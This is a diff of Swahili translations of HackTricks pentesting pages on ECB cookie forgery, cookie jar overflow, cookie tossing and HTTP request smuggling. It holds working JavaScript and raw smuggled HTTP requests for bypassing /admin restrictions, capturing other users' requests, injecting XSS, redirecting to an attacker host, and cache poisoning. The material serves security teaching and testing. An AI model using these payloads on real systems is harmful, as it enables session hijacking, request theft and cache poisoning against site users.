Unda mtumiaji anayeitwa kwa mfano "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" na angalia ikiwa kuna muundo wowote katika cookie (kama ECB inasimba kwa kutumia funguo sawa kila block, bytes sawa zilizotengwa zinaweza kuonekana ikiwa jina la mtumiaji linatumika).
Inapaswa kuwa na muundo (kwa ukubwa wa block inayotumika). Hivyo, ukijua jinsi kundi la "a" linavyosimbwa unaweza kuunda jina la mtumiaji: "a"\*(ukubwa wa block)+"admin". Kisha, unaweza kufuta muundo wa kisimbuaji wa block ya "a" kutoka kwa cookie. Na utakuwa na cookie ya jina la mtumiaji "admin".
Inapaswa kuwa na muundo (kwa ukubwa wa block inayotumika). Hivyo, ukijua jinsi kundi la "a" linavyosimbwa unaweza kuunda jina la mtumiaji: "a"\*(ukubwa wa block)+"admin". Kisha, unaweza kufuta muundo wa kusimbwa wa block ya "a" kutoka kwa cookie. Na utakuwa na cookie ya jina la mtumiaji "admin".
## Marejeo

View File

@ -1,6 +1,6 @@
{{#include ../../banners/hacktricks-training.md}}
Vivinjari vina **mipaka juu ya idadi ya cookies** ambazo vinaweza kuhifadhi kwa ukurasa. Kisha, ikiwa kwa sababu fulani unahitaji **kufanya cookie ipotee**, unaweza **kujaa chombo cha cookies** kwani zile za zamani zitaondolewa kwanza:
Vivinjari vina **mipaka juu ya idadi ya cookies** ambazo vinaweza kuhifadhi kwa ukurasa. Kisha, ikiwa kwa sababu fulani unahitaji **kufanya cookie ipotee**, unaweza **kujaa jar la cookie** kwani zile za zamani zitaondolewa kwanza:
```javascript
// Set many cookies
for (let i = 0; i < 700; i++) {
@ -17,6 +17,6 @@ Kumbuka, kwamba vidakuzi vya upande wa tatu vinavyotaja kikoa tofauti havitafutw
> [!CAUTION]
> Shambulio hili linaweza pia kutumika **kufuta vidakuzi vya HttpOnly kwani unaweza kuvifuta kisha kuviweka tena kwa thamani unayotaka**.
>
> Angalia hii katika [**hiki chapisho chenye maabara**](https://www.sjoerdlangkemper.nl/2020/05/27/overwriting-httponly-cookies-from-javascript-using-cookie-jar-overflow/).
> Angalia hii katika [**hiki kipande na maabara**](https://www.sjoerdlangkemper.nl/2020/05/27/overwriting-httponly-cookies-from-javascript-using-cookie-jar-overflow/).
{{#include ../../banners/hacktricks-training.md}}

View File

@ -2,14 +2,14 @@
{{#include ../../banners/hacktricks-training.md}}
### Maelezo
### Description
Ikiwa mshambuliaji anaweza **kudhibiti subdomain au domain ya kampuni au kupata XSS katika subdomain** atakuwa na uwezo wa kufanya shambulio hili.
Kama ilivyosemwa katika sehemu ya Cookies Hacking, wakati **cookie imewekwa kwa domain (ikiitaja) itatumika katika domain na subdomains.**
Kama ilivyosemwa katika sehemu ya Cookies Hacking, wakati **cookie imewekwa kwa domain (ikiwekwa wazi) itatumika katika domain na subdomains.**
> [!CAUTION]
> Hivyo, **mshambuliaji atakuwa na uwezo wa kuweka cookie maalum kwa domain na subdomains akifanya kitu kama** `document.cookie="session=1234; Path=/app/login; domain=.example.com"`
> Hivyo, **mshambuliaji ataweza kuweka cookie maalum kwa domain na subdomains akifanya kitu kama** `document.cookie="session=1234; Path=/app/login; domain=.example.com"`
Hii inaweza kuwa hatari kwani mshambuliaji anaweza:
@ -19,7 +19,7 @@ Hii inaweza kuwa hatari kwani mshambuliaji anaweza:
- Ikiwa **cookie inaweka thamani ya awali** (kama katika flask ambapo **cookie** inaweza **kuweka** **CSRF token** ya kikao na thamani hii itadumishwa baada ya mwathirika kuingia), **mshambuliaji anaweza kuweka thamani hii inayojulikana na kisha kuitumia** (katika hali hiyo, mshambuliaji anaweza kumfanya mtumiaji afanye ombi la CSRF kwani anajua CSRF token).
- Kama vile kuweka thamani, mshambuliaji pia anaweza kupata cookie isiyo na uthibitisho iliyozalishwa na seva, kupata CSRF token kutoka kwake na kuitumia.
### Agizo la Cookie
### Cookie Order
Wakati kivinjari kinapokea cookies mbili zenye jina sawa **zinazoathiri sehemu sawa** (domain, subdomains na njia), **kivinjari kitatumia thamani zote za cookie** wakati zote ni halali kwa ombi.
@ -30,34 +30,34 @@ Mara nyingi **tovuti zitatumia tu thamani ya kwanza**. Kisha, ikiwa mshambuliaji
> [!WARNING]
> Zaidi ya hayo, uwezo wa **kuweka cookie katika njia maalum zaidi** ni wa kuvutia kwani utaweza kumfanya **mwathirika afanye kazi na cookie yake isipokuwa katika njia maalum ambapo cookie mbaya itatumwa kwanza**.
### Kupita Ulinzi
### Protection Bypass
Ulinzi unaowezekana dhidi ya shambulio hili ungekuwa kwamba **seva ya wavuti haitakubali maombi yenye cookies mbili zenye jina sawa lakini zikiwa na thamani tofauti**.
Ulinzi unaowezekana dhidi ya shambulio hili ungekuwa kwamba **seva ya wavuti haitakubali maombi yenye cookies mbili zenye jina sawa lakini zenye thamani tofauti**.
Ili kupita hali ambapo mshambuliaji anaweka cookie baada ya mwathirika tayari kupatiwa cookie, mshambuliaji anaweza kusababisha **overflow ya cookie** na kisha, mara **cookie halali itakapofutwa, kuweka ile mbaya**.
Ili kupita hali ambapo mshambuliaji anaweka cookie baada ya mwathirika tayari kupatiwa cookie, mshambuliaji anaweza kusababisha **cookie overflow** na kisha, mara **cookie halali itakapofutwa, kuweka ile mbaya**.
{{#ref}}
cookie-jar-overflow.md
{{#endref}}
Njia nyingine ya **kupita** inaweza kuwa **kuandika jina la cookie kwa URL** kwani baadhi ya ulinzi huangalia cookies 2 zenye jina sawa katika ombi na kisha seva itachambua majina ya cookies.
Njia nyingine ya **bypass** inaweza kuwa **URL encode jina la cookie** kwani baadhi ya ulinzi huangalia cookies 2 zenye jina sawa katika ombi na kisha seva itachambua majina ya cookies.
### Bomu la Cookie
### Cookie Bomb
Shambulio la Cookie Tossing linaweza pia kutumika kufanya shambulio la **Bomu la Cookie**:
Shambulio la Cookie Tossing linaweza pia kutumika kufanya shambulio la **Cookie Bomb**:
{{#ref}}
cookie-bomb.md
{{#endref}}
### Ulinzi**s**
### Defense**s**
#### **Tumia kiambishi `__Host` katika jina la cookie**
- Ikiwa jina la cookie lina kiambishi hiki, **litawekwa tu** katika mwelekeo wa Set-Cookie ikiwa imewekwa Secure, ilitumwa kutoka chanzo salama, haina sifa ya Domain, na ina sifa ya Path iliyowekwa kwa /
- **Hii inazuia subdomains kulazimisha cookie kwa domain ya juu kwani cookies hizi zinaweza kuonekana kama "zilizofungwa kwa domain"**
- **Hii inazuia subdomains kulazimisha cookie kwa domain ya juu kwani cookies hizi zinaweza kuonekana kama "domain-locked"**
### Marejeleo
### References
- [**@blueminimal**](https://twitter.com/blueminimal)
- [**https://speakerdeck.com/filedescriptor/the-cookie-monster-in-your-browsers**](https://speakerdeck.com/filedescriptor/the-cookie-monster-in-your-browsers)

View File

@ -8,7 +8,7 @@
### First-request Validation
Wakati wa kuelekeza maombi, proxies za nyuma zinaweza kutegemea **Host header** kubaini seva ya nyuma ya marudio, mara nyingi zikitegemea orodha ya wageni walioidhinishwa. Hata hivyo, kuna udhaifu katika proxies zingine ambapo orodha ya wageni inatekelezwa tu kwenye ombi la kwanza katika muunganisho. Kwa hivyo, washambuliaji wanaweza kutumia hii kwa kwanza kufanya ombi kwa mwenyeji aliyeidhinishwa na kisha kuomba tovuti ya ndani kupitia muunganisho huo huo:
Wakati wa kuelekeza maombi, proxies za nyuma zinaweza kutegemea **Host header** kubaini seva ya nyuma ya marudio, mara nyingi zikitegemea orodha ya wageni ambao wanaruhusiwa kupata. Hata hivyo, kuna udhaifu katika proxies zingine ambapo orodha ya wageni inatekelezwa tu kwenye ombi la awali katika muunganisho. Kwa hivyo, washambuliaji wanaweza kutumia hii kwa kwanza kufanya ombi kwa mwenyeji aliyeidhinishwa na kisha kuomba tovuti ya ndani kupitia muunganisho huo huo:
```
GET / HTTP/1.1
Host: [allowed-external-host]
@ -18,7 +18,7 @@ Host: [internal-host]
```
### Kuelekeza Ombi la Kwanza
Katika baadhi ya mipangilio, seva ya mbele inaweza kutumia **kichwa cha Host cha ombi la kwanza** kubaini uelekeo wa nyuma kwa ombi hilo, na kisha kuendelea kuelekeza maombi yote yanayofuata kutoka kwa muunganisho sawa wa mteja kwenye muunganisho sawa wa nyuma. Hii inaweza kuonyeshwa kama:
Katika baadhi ya mipangilio, seva ya mbele inaweza kutumia **kichwa cha Host cha ombi la kwanza** kubaini mwelekeo wa nyuma kwa ombi hilo, na kisha kuendelea kuelekeza maombi yote yanayofuata kutoka kwa muunganisho sawa wa mteja kwenye muunganisho sawa wa nyuma. Hii inaweza kuonyeshwa kama:
```
GET / HTTP/1.1
Host: example.com
@ -26,7 +26,7 @@ Host: example.com
POST /pwreset HTTP/1.1
Host: psres.net
```
Tatizo hili linaweza kuunganishwa na [Host header attacks](https://portswigger.net/web-security/host-header), kama vile upotoshaji wa kurekebisha nenosiri au [web cache poisoning](https://portswigger.net/web-security/web-cache-poisoning), ili kutumia udhaifu mwingine au kupata ufikiaji usioidhinishwa kwa mwenyeji wa ziada wa virtual.
Tatizo hili linaweza kuunganishwa na [Host header attacks](https://portswigger.net/web-security/host-header), kama vile upotoshaji wa kurekebisha nenosiri au [web cache poisoning](https://portswigger.net/web-security/web-cache-poisoning), ili kutumia udhaifu mwingine au kupata ufikiaji usioidhinishwa kwa wageni wa ziada wa virtual.
> [!NOTE]
> Ili kubaini udhaifu hizi, kipengele cha 'connection-state probe' katika HTTP Request Smuggler kinaweza kutumika.

View File

@ -21,19 +21,19 @@ Hii inaruhusu mtumiaji **kubadilisha ombi linalofuata linalofika kwa back-end se
**Transfer-Encoding: chunked**
> Kichwa cha Transfer-Encoding kinaelezea aina ya usimbuaji inayotumika kwa usalama kuhamasisha mwili wa payload kwa mtumiaji.\
> Chunked inamaanisha kwamba data kubwa inatumwa katika mfululizo wa vipande
> Chunked inamaanisha kwamba data kubwa inatumwa kwa mfululizo wa vipande
### Reality
**Front-End** (load-balance / Reverse Proxy) **inasindika** _**content-length**_ au _**transfer-encoding**_ kichwa na **Back-end** server **inasindika** kichwa kingine ikisababisha **desyncronization** kati ya mifumo 2.\
**Front-End** (load-balance / Reverse Proxy) **inasindika** _**content-length**_ au _**transfer-encoding**_ kichwa na **Back-end** server **inasindika** nyingine moja ikisababisha **desyncronization** kati ya mifumo 2.\
Hii inaweza kuwa hatari sana kwani **mshambuliaji ataweza kutuma ombi moja** kwa reverse proxy ambalo litatafsiriwa na **back-end** server **kama ombi 2 tofauti**. **Hatari** ya mbinu hii inategemea ukweli kwamba **back-end** server **itaelewa** **ombio la 2 lililoingizwa** kana kwamba **lilitoka kwa mteja anayefuata** na **ombio halisi** la mteja huyo litakuwa **sehemu** ya **ombio lililoingizwa**.
### Particularities
Kumbuka kwamba katika HTTP **karakteri mpya ya mstari inaundwa na bytes 2:**
- **Content-Length**: Kichwa hiki kinatumia **nambari ya desimali** kuonyesha **idadi** ya **bytes** za **mwili** wa ombi. Mwili unatarajiwa kumalizika katika karakteri ya mwisho, **karakteri mpya haitahitajika mwishoni mwa ombi**.
- **Transfer-Encoding:** Kichwa hiki kinatumia katika **mwili** **nambari ya hexadecimal** kuonyesha **idadi** ya **bytes** za **kipande kinachofuata**. **Kipande** lazima **kimalizike** na **karakteri mpya** lakini hii karakteri mpya **haitahesabiwa** na kiashiria cha urefu. Mbinu hii ya usafirishaji lazima ikamilike na **kipande cha ukubwa 0 kinachofuatiwa na mistari 2 mipya**: `0`
- **Content-Length**: Kichwa hiki kinatumia **nambari ya desimali** kuonyesha **idadi** ya **bytes** za **mwili** wa ombi. Mwili unatarajiwa kumalizika katika karakteri ya mwisho, **mstari mpya hauhitajiki mwishoni mwa ombi**.
- **Transfer-Encoding:** Kichwa hiki kinatumia katika **mwili** **nambari ya hexadecimal** kuonyesha **idadi** ya **bytes** za **kipande kinachofuata**. **Kipande** lazima **kimalizike** na **mstari mpya** lakini mstari huu mpya **hauhesabiwi** na kiashiria cha urefu. Mbinu hii ya uhamasishaji lazima ikamilike na **kipande cha ukubwa 0 kinachofuatwa na mistari 2 mipya**: `0`
- **Connection**: Kulingana na uzoefu wangu, inapendekezwa kutumia **`Connection: keep-alive`** kwenye ombi la kwanza la ombi Smuggling.
## Basic Examples
@ -80,7 +80,7 @@ Foo: x
- **Back-End (CL):** Inasindika ombi kulingana na kichwa cha `Content-Length`.
- **Kasi ya Shambulio:**
- Mshambuliaji anatumia ombi lililosambazwa ambapo ukubwa wa kipande (`7b`) na urefu halisi wa maudhui (`Content-Length: 4`) havikubaliani.
- Mshambuliaji anatumia ombi lililosambazwa ambapo ukubwa wa kipande (`7b`) na urefu halisi wa maudhui (`Content-Length: 4`) havifanani.
- Server ya front-end, ikiheshimu `Transfer-Encoding`, inapeleka ombi lote kwa back-end.
- Server ya back-end, ikiheshimu `Content-Length`, inasindika tu sehemu ya awali ya ombi (`7b` bytes), ikiacha iliyobaki kama sehemu ya ombi linalofuata lisilotarajiwa.
- **Mfano:**
@ -147,7 +147,7 @@ Normal Request
#### **CL.0 Scenario**
- Inahusisha hali ambapo kichwa cha `Content-Length` kiko na kina thamani isiyo sifuri, ikionyesha kwamba mwili wa ombi una maudhui. Back-end inapuuzilia mbali kichwa cha `Content-Length` (ambacho kinachukuliwa kama 0), lakini front-end inakichambua.
- Inahusisha hali ambapo kichwa cha `Content-Length` kiko na thamani isiyo sifuri, ikionyesha kwamba mwili wa ombi una maudhui. Back-end inapuuzilia mbali kichwa cha `Content-Length` (ambacho kinachukuliwa kama 0), lakini front-end inakichambua.
- Ni muhimu katika kuelewa na kutengeneza mashambulizi ya smuggling, kwani inaathiri jinsi servers zinavyotambua mwisho wa ombi.
- **Mfano:**
@ -164,7 +164,7 @@ Non-Empty Body
- Kama ile ya awali lakini ikitumia TE
- Mbinu [iliyorekodiwa hapa](https://www.bugcrowd.com/blog/unveiling-te-0-http-request-smuggling-discovering-a-critical-vulnerability-in-thousands-of-google-cloud-websites/)
- **Mfano:**
- **Mfano**:
```
OPTIONS / HTTP/1.1
Host: {HOST}
@ -190,7 +190,7 @@ Kwa mfano, kama ilivyoelezwa katika [**hiki andiko**](https://mizu.re/post/twist
#### Kulazimisha kupitia vichwa vya hop-by-hop
Kwa kutumia vichwa vya hop-by-hop unaweza kuonyesha proxy **kufuta kichwa cha Content-Length au Transfer-Encoding ili ombi la HTTP smuggling liweze kutumika**.
Kutatiza vichwa vya hop-by-hop unaweza kuonyesha proxy **kufuta kichwa cha Content-Length au Transfer-Encoding ili ombi la HTTP smuggling liweze kutumika**.
```
Connection: Content-Length
```
@ -202,13 +202,13 @@ Kwa **maelezo zaidi kuhusu vichwa vya hop-by-hop** tembelea:
## Kupata HTTP Request Smuggling
Kutambua udhaifu wa HTTP request smuggling mara nyingi kunaweza kufanywa kwa kutumia mbinu za wakati, ambazo zinategemea kuangalia ni muda gani inachukua kwa seva kujibu maombi yaliyobadilishwa. Mbinu hizi ni muhimu sana katika kugundua udhaifu wa CL.TE na TE.CL. Mbali na mbinu hizi, kuna mikakati na zana nyingine ambazo zinaweza kutumika kupata udhaifu kama huo:
Kutambua udhaifu wa HTTP request smuggling mara nyingi kunaweza kufanywa kwa kutumia mbinu za wakati, ambazo zinategemea kuangalia ni muda gani inachukua kwa seva kujibu maombi yaliyobadilishwa. Mbinu hizi ni muhimu hasa katika kugundua udhaifu wa CL.TE na TE.CL. Mbali na mbinu hizi, kuna mikakati na zana nyingine ambazo zinaweza kutumika kupata udhaifu kama huo:
### Kupata Udhaifu wa CL.TE kwa Kutumia Mbinu za Wakati
- **Mbinu:**
- Tuma ombi ambalo, ikiwa programu ina udhaifu, litafanya seva ya nyuma kusubiri data zaidi.
- Tuma ombi ambalo, ikiwa programu ina udhaifu, litasababisha seva ya nyuma kusubiri data zaidi.
- **Mfano:**
```
@ -227,7 +227,7 @@ A
- Seva ya mbele inashughulikia ombi kulingana na `Content-Length` na kukata ujumbe mapema.
- Seva ya nyuma, ikitarajia ujumbe wa chunked, inasubiri chunk inayofuata ambayo haitafika, ikisababisha kuchelewesha.
- **Viashiria:**
- **Dalili:**
- Timeout au ucheleweshaji mrefu katika majibu.
- Kupokea kosa la 400 Bad Request kutoka kwa seva ya nyuma, wakati mwingine ikiwa na maelezo ya kina ya seva.
@ -235,7 +235,7 @@ A
- **Mbinu:**
- Tuma ombi ambalo, ikiwa programu ina udhaifu, litafanya seva ya nyuma kusubiri data zaidi.
- Tuma ombi ambalo, ikiwa programu ina udhaifu, litasababisha seva ya nyuma kusubiri data zaidi.
- **Mfano:**
```
@ -255,14 +255,14 @@ X
### Mbinu Nyingine za Kupata Udhaifu
- **Uchambuzi wa Majibu ya Tofauti:**
- **Uchambuzi wa Majibu Tofauti:**
- Tuma toleo lililobadilishwa kidogo la ombi na uangalie ikiwa majibu ya seva yanatofautiana kwa njia isiyotarajiwa, ikionyesha tofauti ya uchambuzi.
- **Kutumia Zana za Kiotomatiki:**
- Zana kama vile Burp Suite's 'HTTP Request Smuggler' nyongeza zinaweza kujaribu kiotomatiki udhaifu hizi kwa kutuma aina mbalimbali za maombi yasiyo na uwazi na kuchambua majibu.
- **Majaribio ya Tofauti za Content-Length:**
- Tuma maombi yenye thamani tofauti za `Content-Length` ambazo hazilingani na urefu halisi wa maudhui na uangalie jinsi seva inavyoshughulikia tofauti hizo.
- **Majaribio ya Tofauti za Transfer-Encoding:**
- Tuma maombi yenye vichwa vya `Transfer-Encoding` vilivyofichwa au visivyo sahihi na uangalie jinsi seva za mbele na za nyuma zinavyoshughulikia mabadiliko kama hayo.
- Tuma maombi yenye vichwa vya `Transfer-Encoding` vilivyofichwa au visivyo sahihi na uangalie jinsi seva za mbele na nyuma zinavyoshughulikia mabadiliko kama hayo.
### Upimaji wa Udhaifu wa HTTP Request Smuggling
@ -273,8 +273,8 @@ Baada ya kuthibitisha ufanisi wa mbinu za wakati, ni muhimu kuthibitisha ikiwa m
Wakati wa kupima udhaifu wa request smuggling kwa kuingilia maombi mengine, kumbuka:
- **Mawasiliano Mbalimbali ya Mtandao:** Maombi ya "shambulio" na "ya kawaida" yanapaswa kutumwa kupitia mawasiliano tofauti ya mtandao. Kutumia muunganisho mmoja kwa yote mawili hakuthibitishi uwepo wa udhaifu.
- **URL na Vigezo Vinavyolingana:** Jaribu kutumia URLs na majina ya vigezo sawa kwa maombi yote mawili. Programu za kisasa mara nyingi hupeleka maombi kwa seva maalum za nyuma kulingana na URL na vigezo. Kulinganisha haya kunapanua uwezekano kwamba maombi yote mawili yanashughulikiwa na seva moja, ambayo ni sharti la shambulio lililofanikiwa.
- **Wakati na Masharti ya Mbio:** Ombi la "kawaida", lililokusudiwa kugundua kuingilia kutoka kwa ombi la "shambulio", linashindana na maombi mengine ya programu yanayoendelea. Kwa hivyo, tuma ombi la "kawaida" mara moja baada ya ombi la "shambulio". Programu zenye shughuli nyingi zinaweza kuhitaji majaribio kadhaa kwa uthibitisho wa udhaifu.
- **URL na Vigezo Vinavyolingana:** Jaribu kutumia URLs na majina ya vigezo sawa kwa maombi yote mawili. Programu za kisasa mara nyingi hupeleka maombi kwa seva maalum za nyuma kulingana na URL na vigezo. Kulinganisha haya kunaongeza uwezekano wa maombi yote mawili kushughulikiwa na seva ile ile, ambayo ni sharti la shambulio lililofanikiwa.
- **Muda na Masharti ya Mbio:** Ombi la "kawaida", lililokusudiwa kugundua kuingilia kutoka kwa ombi la "shambulio", linashindana na maombi mengine ya programu yanayoendelea. Kwa hivyo, tuma ombi la "kawaida" mara moja baada ya ombi la "shambulio". Programu zenye shughuli nyingi zinaweza kuhitaji majaribio kadhaa kwa uthibitisho wa udhaifu.
- **Changamoto za Usambazaji wa Mizigo:** Seva za mbele zinazofanya kazi kama wasambazaji wa mizigo zinaweza kugawa maombi kati ya mifumo mbalimbali ya nyuma. Ikiwa maombi ya "shambulio" na "ya kawaida" yanakutana kwenye mifumo tofauti, shambulio halitafanikiwa. Hali hii ya usambazaji wa mizigo inaweza kuhitaji majaribio kadhaa kuthibitisha udhaifu.
- **Athari zisizokusudiwa kwa Watumiaji:** Ikiwa shambulio lako kwa bahati mbaya linaathiri ombi la mtumiaji mwingine (sio ombi la "kawaida" ulilotuma kwa ajili ya kugundua), hii inaonyesha kuwa shambulio lako limeathiri mtumiaji mwingine wa programu. Kujaribu mara kwa mara kunaweza kuharibu watumiaji wengine, hivyo inahitajika kuwa na mbinu ya tahadhari.
@ -282,7 +282,7 @@ Wakati wa kupima udhaifu wa request smuggling kwa kuingilia maombi mengine, kumb
### Kupita Usalama wa Seva za Mbele kupitia HTTP Request Smuggling
Wakati mwingine, proxies za mbele zinaweka hatua za usalama, zikichunguza maombi yanayoingia. Hata hivyo, hatua hizi zinaweza kupitishwa kwa kutumia HTTP Request Smuggling, kuruhusu ufikiaji usioidhinishwa kwa maeneo yaliyopigwa marufuku. Kwa mfano, kufikia `/admin` kunaweza kuwa marufuku nje, huku proxy ya mbele ikizuia juhudi kama hizo. Hata hivyo, proxy hii inaweza kukosa kukagua maombi yaliyojumuishwa ndani ya ombi la HTTP lililosafirishwa, na kuacha pengo la kupita marufuku hizi.
Wakati mwingine, proxies za mbele zinaweka hatua za usalama, zikichunguza maombi yanayoingia. Hata hivyo, hatua hizi zinaweza kupitishwa kwa kutumia HTTP Request Smuggling, kuruhusu ufikiaji usioidhinishwa kwa maeneo yaliyopigwa marufuku. Kwa mfano, kufikia `/admin` kunaweza kuwa marufuku nje, huku proxy ya mbele ikizuia juhudi kama hizo. Hata hivyo, proxy hii inaweza kukosa kuchunguza maombi yaliyojumuishwa ndani ya ombi la HTTP lililosafirishwa, na kuacha pengo la kupita marufuku hizi.
Fikiria mifano ifuatayo inayoonyesha jinsi HTTP Request Smuggling inaweza kutumika kupita hatua za usalama za mbele, hasa ikilenga njia ya `/admin` ambayo kwa kawaida inalindwa na proxy ya mbele:
@ -344,11 +344,11 @@ Content-Length: 100
search=
```
Katika muundo huu, vipengele vya ombi vinavyofuata vinajumuishwa baada ya `search=`, ambayo ni parameter inayojitokeza katika jibu. Hii itafichua vichwa vya habari vya ombi linalofuata.
Katika muundo huu, vipengele vya ombi vinavyofuata vinajumuishwa baada ya `search=`, ambayo ni parameter inayojitokeza katika jibu. Hii itafichua vichwa vya ombi vya baadaye.
Ni muhimu kulinganisha kichwa cha `Content-Length` cha ombi lililozungushwa na urefu halisi wa maudhui. Kuanzia na thamani ndogo na kuongezeka taratibu inashauriwa, kwani thamani ya chini sana itakata data iliyojitokeza, wakati thamani ya juu sana inaweza kusababisha ombi kufeli.
Ni muhimu kulinganisha kichwa cha `Content-Length` cha ombi lililozungukwa na urefu halisi wa maudhui. Kuanzia na thamani ndogo na kuongeza taratibu inashauriwa, kwani thamani ya chini sana itakata data iliyojitokeza, wakati thamani ya juu sana inaweza kusababisha ombi kufeli.
Tekniki hii pia inatumika katika muktadha wa udhaifu wa TE.CL, lakini ombi linapaswa kumalizika na `search=\r\n0`. Bila kujali wahusika wa newline, thamani zitajumuishwa kwenye parameter ya utafutaji.
Tekniki hii pia inatumika katika muktadha wa udhaifu wa TE.CL, lakini ombi linapaswa kumalizika na `search=\r\n0`. Bila kujali wahusika wa mistari mipya, thamani zitajumuishwa kwenye parameter ya utafutaji.
Njia hii hasa inatumika kuelewa mabadiliko ya ombi yaliyofanywa na proxy ya mbele, kimsingi ikifanya uchunguzi wa kujiongoza.
@ -378,7 +378,7 @@ csrf=gpGAVAbj7pKq7VfFh45CAICeFCnancCM&postId=4&name=asdfghjklo&email=email%40ema
```
Katika hali hii, **parameta ya maoni** inakusudia kuhifadhi maudhui ndani ya sehemu ya maoni ya chapisho kwenye ukurasa unaopatikana kwa umma. Kwa hivyo, maudhui ya ombi linalofuata yataonekana kama maoni.
Hata hivyo, mbinu hii ina mipaka. Kwa ujumla, inakamata data tu hadi kwenye kipimo cha parameta kilichotumika katika ombi lililosafirishwa. Kwa uwasilishaji wa fomu iliyohifadhiwa kwenye URL, kipimo hiki ni herufi `&`. Hii ina maana kwamba maudhui yaliyokamatwa kutoka kwa ombi la mtumiaji waathirika yatakoma kwenye `&` ya kwanza, ambayo inaweza kuwa sehemu ya mfuatano wa swali.
Hata hivyo, mbinu hii ina mipaka. Kwa ujumla, inakamata data tu hadi kwenye kipimo cha parameta kilichotumika katika ombi lililosafirishwa. Kwa kuwasilisha fomu iliyowekwa URL, kipimo hiki ni herufi `&`. Hii ina maana kwamba maudhui yaliyokamatwa kutoka kwa ombi la mtumiaji waathirika yatakoma kwenye `&` ya kwanza, ambayo inaweza kuwa sehemu ya mfuatano wa swali.
Zaidi ya hayo, inafaa kutaja kwamba njia hii pia inapatikana na udhaifu wa TE.CL. Katika hali kama hizo, ombi linapaswa kumalizika na `search=\r\n0`. Bila kujali wahusika wa mstari mpya, thamani zitajumuishwa kwenye parameta ya utafutaji.
@ -413,7 +413,7 @@ A=
Hii payload imeundwa ili kutumia udhaifu kwa:
1. Kuanzisha ombi la `POST`, ambalo linaonekana kuwa la kawaida, lenye kichwa cha `Transfer-Encoding: chunked` kuashiria mwanzo wa smuggling.
2. Kufuatia na `0`, ikionyesha mwisho wa mwili wa ujumbe wa chunked.
2. Kufuatia na `0`, ikionyesha mwisho wa ujumbe wa chunked.
3. Kisha, ombi la smuggled `GET` linaanzishwa, ambapo kichwa cha `User-Agent` kinachomekwa na script, `<script>alert(1)</script>`, ikichochea XSS wakati seva inashughulikia ombi hili linalofuata.
Kwa kubadilisha `User-Agent` kupitia smuggling, payload inakwepa vikwazo vya kawaida vya ombi, hivyo kutumia udhaifu wa Reflected XSS kwa njia isiyo ya kawaida lakini yenye ufanisi.
@ -423,9 +423,9 @@ Kwa kubadilisha `User-Agent` kupitia smuggling, payload inakwepa vikwazo vya kaw
> [!CAUTION]
> Ikiwa maudhui ya mtumiaji yanarejelewa katika jibu lenye **`Content-type`** kama **`text/plain`**, kuzuia utekelezaji wa XSS. Ikiwa seva inasaidia **HTTP/0.9 inaweza kuwa inawezekana kupita hii**!
Toleo la HTTP/0.9 lilikuwa kabla ya 1.0 na linatumia tu vitenzi vya **GET** na **halijibu** na **headers**, bali mwili tu.
Toleo la HTTP/0.9 lilikuwa kabla ya 1.0 na linatumia tu **GET** verbs na **halijibu** na **headers**, bali tu mwili.
Katika [**hii andiko**](https://mizu.re/post/twisty-python), hii ilitumiwa vibaya na smuggling ya ombi na **nukta ya hatari ambayo itajibu na maudhui ya mtumiaji** ili smuggle ombi na HTTP/0.9. Kigezo ambacho kitarejelewa katika jibu kilikuwa na **jibu la uwongo la HTTP/1.1 (pamoja na headers na mwili)** hivyo jibu litakuwa na msimbo halali wa JS unaoweza kutekelezwa wenye `Content-Type` ya `text/html`.
Katika [**hii andiko**](https://mizu.re/post/twisty-python), hii ilitumiwa vibaya na smuggling ya ombi na **nukta ya hatari ambayo itajibu na maudhui ya mtumiaji** ili smuggle ombi na HTTP/0.9. Kigezo ambacho kitarejelewa katika jibu kilikuwa na **jibu la uwongo la HTTP/1.1 (pamoja na headers na mwili)** hivyo jibu litakuwa na msimbo wa JS unaoweza kutekelezwa wenye `Content-Type` wa `text/html`.
### Kutumia Mwelekeo wa Kwenye Tovuti kwa HTTP Request Smuggling <a href="#exploiting-on-site-redirects-with-http-request-smuggling" id="exploiting-on-site-redirects-with-http-request-smuggling"></a>
@ -453,7 +453,7 @@ GET /home HTTP/1.1
Host: attacker-website.com
Foo: X
```
Ombi hili lililofichwa linaweza kusababisha ombi la mtumiaji linalofuatia kushindwa kuelekezwa kwenye tovuti inayodhibitiwa na mshambuliaji:
Hii ombi lililofichwa linaweza kusababisha ombi la mtumiaji linalofuatia kushindwa kuelekezwa kwenye tovuti inayodhibitiwa na mshambuliaji:
```
GET /home HTTP/1.1
Host: attacker-website.com
@ -469,13 +469,13 @@ Katika hali hii, ombi la mtumiaji la faili la JavaScript linachukuliwa. Mshambul
### Kutumia Upoisonaji wa Kivinjari cha Mtandao kupitia HTTP Request Smuggling <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
Upoisonaji wa kivinjari cha mtandao unaweza kutekelezwa ikiwa sehemu yoyote ya **miundombinu ya mbele inahifadhi maudhui**, kawaida ili kuboresha utendaji. Kwa kubadilisha jibu la seva, inawezekana **kuponya kivinjari**.
Upoisonaji wa kivinjari cha mtandao unaweza kutekelezwa ikiwa sehemu yoyote ya **miundombinu ya mbele inahifadhi maudhui**, kawaida ili kuboresha utendaji. Kwa kubadilisha jibu la seva, inawezekana **kuweka sumu kwenye kivinjari**.
Awali, tuliona jinsi majibu ya seva yanaweza kubadilishwa ili kurudisha kosa la 404 (rejelea [Mifano ya Msingi](./#basic-examples)). Vivyo hivyo, inawezekana kumdanganya seva kutoa maudhui ya `/index.html` kama jibu la ombi la `/static/include.js`. Kwa hivyo, maudhui ya `/static/include.js` yanabadilishwa katika kivinjari na yale ya `/index.html`, na kufanya `/static/include.js` isiweze kupatikana kwa watumiaji, ambayo inaweza kusababisha Denial of Service (DoS).
Awali, tuliona jinsi majibu ya seva yanaweza kubadilishwa ili kurudisha kosa la 404 (rejelea [Mifano ya Msingi](./#basic-examples)). Vivyo hivyo, inawezekana kumdanganya seva kutoa maudhui ya `/index.html` kama jibu la ombi la `/static/include.js`. Kwa hivyo, maudhui ya `/static/include.js` yanabadilishwa kwenye kivinjari na yale ya `/index.html`, na kufanya `/static/include.js` isiweze kupatikana kwa watumiaji, ambayo inaweza kusababisha Denial of Service (DoS).
